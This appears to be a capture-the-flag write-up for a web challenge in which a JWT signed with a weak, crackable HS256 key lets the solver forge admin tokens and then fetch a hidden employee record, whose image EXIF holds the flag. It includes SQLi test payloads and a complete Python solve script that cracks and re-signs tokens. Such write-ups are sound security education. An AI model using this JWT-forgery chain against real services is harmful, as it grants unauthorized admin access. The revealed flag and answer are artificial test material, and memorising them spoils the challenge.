A live Flask "Miami Metro Employee Portal," no handout, 15-minute instance TTL. The landing page boasts a "new token-based authentication system" and drops a pointed hint: "something about Miami Metro doesn't quite add up."
Hint 1
The portal issues real JWTs. "New" and "secure" are two different claims.
Hint 2
Getting role: admin is only step one. The admin panel hands you something
flag-shaped - read what it says underneath before you submit it.
Recon
/robots.txt disallows /admin. /static/js/main.js says tokens live in
localStorage and ride in an Authorization: Bearer header - so this is JWT
auth, not cookies. The API surface, from the scripts plus a wordlist sweep:
POST /api/register POST /api/login
GET /api/me GET /api/team
GET /api/announcements GET /api/profile/files
GET /api/admin/overview GET /api/admin/employees
GET /api/admin/employees/<id>
GET /api/admin/employees/<id>/files/<fid>[/download]
Registering gives a plain role: user account; every /api/admin/* route
answers 403.
- Mass assignment.
role,roles,is_admin,is_superuser,role_id,clearanceon register: all ignored, account staysuser. - Duplicate-username takeover. Registering an existing admin's username
(even with whitespace/unicode tricks) is refused; login is
case-sensitive, so
D_Morganjust creates an unrelated new account. - SQLi in login. Standard
' OR '1'='1payloads all return the same generic denial - the query is parameterized. - Header tricks.
X-Original-URL,X-Rewrite-URL,X-Forwarded-For, cookie-borne tokens: none change the403.
A real HS256 JWT comes back on login:
1{"sub":7,"username":"...","role":"user","iss":"miami-metro-portal", ...}
The signing key is the rockyou word trustno1. The server verifies the
signature (wrong key -> 401) but trusts the role claim for
authorization and never re-reads it from the database.
sub=7 (ours) role=user -> /api/admin/overview 403
sub=7 (ours) role=admin -> /api/admin/overview 200
sub=1 role=admin, wrong secret -> 401 (signature really is checked)
The flag is one record deeper
/api/admin/overview hands back a decoy on a silver platter:
1{"flag":"CTF{4dm1n_p4n3l_r34ch3d_bu7_th15_1sn7_17}",
2 "note":"are you sure every employee in this department is who their file says they are?"}
Pitfall
That string isn't even L3m0n{...} format, which should already be a tell
- but it's tempting to submit the first flag-shaped thing an admin panel hands you. The note is the actual objective.
The roster lists ids 1-4 and 6-7 - id 5 is missing. Fetching it directly:
1GET /api/admin/employees/5
2{"display_name":"Bay Harbour Butcher","is_hidden":true,
3 "bio":"Record archived pending Internal Affairs review...",
4 "files":["personal_notes.txt","doakes.jpg"]}
Insight
"Bay Harbour Butcher" is Dexter Morgan's alter ego. The hidden employee
record is the forensics analyst already sitting on the roster, just
flagged is_hidden and skipped by the listing endpoint - a direct-object
fetch finds it anyway. Its photo attachment carries the real flag in EXIF:
exiftool -ImageDescription -s3 doakes.jpg
L3m0n{c2d9f78e94d140e1f946ba1490d4b391}
Recovered three ways that agree: raw JPEG EXIF, the JSON base64 body of the
file-download endpoint, and exiftool directly.
Exploit summary
- Register and log in for a JWT.
- Crack the HS256 key:
trustno1(rockyou). - Re-sign our own claims with
role: admin. - Fetch hidden record id 5 and its
doakes.jpgattachment. - Flag = that image's EXIF
ImageDescription.
Show the full solve script
1#!/usr/bin/env python3
2"""Miami Metro - L3m0nCTF 2026 (Web, id 117) - solve script.
3
4Chain
5-----
61. Register + log in. The portal's "new token-based authentication system"
7 issues an HS256 JWT (Authorization: Bearer <jwt>).
82. The signing key is the rockyou word 'trustno1' -> crack it from our own token.
93. Forge a JWT with role=admin (the app trusts the claim; it only checks the
10 `sub` still resolves to a live user). GET /api/admin/overview -> a DECOY flag
11 (CTF{...}) plus a note: "are you sure every employee is who their file says?".
124. The real roster omits user id 5: "Bay Harbour Butcher" (is_hidden, archived
13 pending IA review) = Dexter Morgan's alter ego. Only admins can read it.
145. /api/admin/employees/5/files/2 -> doakes.jpg; the flag sits in its EXIF
15 ImageDescription.
16
17Usage: python3 solve.py <instance-url>
18"""
19import sys, re, json, time, hmac, base64, hashlib
20import urllib.request, urllib.error
21
22ROCKYOU = "/path/to/rockyou.txt"
23
24
25def req(base, method, path, body=None, token=None):
26 h = {"Accept": "application/json"}
27 if token:
28 h["Authorization"] = "Bearer " + token
29 data = json.dumps(body).encode() if body is not None else None
30 if data:
31 h["Content-Type"] = "application/json"
32 r = urllib.request.Request(base + path, data=data, headers=h, method=method)
33 try:
34 with urllib.request.urlopen(r, timeout=20) as resp:
35 return resp.status, json.loads(resp.read())
36 except urllib.error.HTTPError as e:
37 return e.code, json.loads(e.read())
38
39
40def b64u(b):
41 return base64.urlsafe_b64encode(b).rstrip(b"=")
42
43
44def crack_hs256(token, wordlist):
45 h, p, s = token.split(".")
46 signing_input = (h + "." + p).encode()
47 sig = base64.urlsafe_b64decode(s + "==")
48 with open(wordlist, "rb", errors="ignore") as f:
49 for line in f:
50 key = line.rstrip(b"\n")
51 if hmac.new(key, signing_input, hashlib.sha256).digest() == sig:
52 return key
53 return None
54
55
56def resign(payload, key):
57 header = b64u(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
58 body = b64u(json.dumps(payload).encode())
59 signing_input = header + b"." + body
60 sig = b64u(hmac.new(key, signing_input, hashlib.sha256).digest())
61 return (signing_input + b"." + sig).decode()
62
63
64base = sys.argv[1].rstrip("/")
65uname = "nx_" + str(int(time.time()))
66req(base, "POST", "/api/register", {"username": uname, "password": "x", "display_name": "nx"})
67_, login = req(base, "POST", "/api/login", {"username": uname, "password": "x"})
68token = login["token"]
69
70key = crack_hs256(token, ROCKYOU)
71print("key:", key)
72
73h, p, s = token.split(".")
74payload = json.loads(base64.urlsafe_b64decode(p + "=="))
75payload["role"] = "admin"
76admin_token = resign(payload, key)
77
78_, overview = req(base, "GET", "/api/admin/overview", token=admin_token)
79print("decoy:", overview["flag"])
80
81_, emp5 = req(base, "GET", "/api/admin/employees/5", token=admin_token)
82file_id = next(f["id"] for f in emp5["files"] if f["name"] == "doakes.jpg")
83status, img_resp = req(base, "GET", f"/api/admin/employees/5/files/{file_id}/download", token=admin_token)
84img = base64.b64decode(img_resp["data"])
85open("doakes.jpg", "wb").write(img)
86
87m = re.search(rb"L3m0n\{[0-9a-f]{32}\}", img)
88print("FLAG:", m.group(0).decode() if m else "run exiftool on doakes.jpg")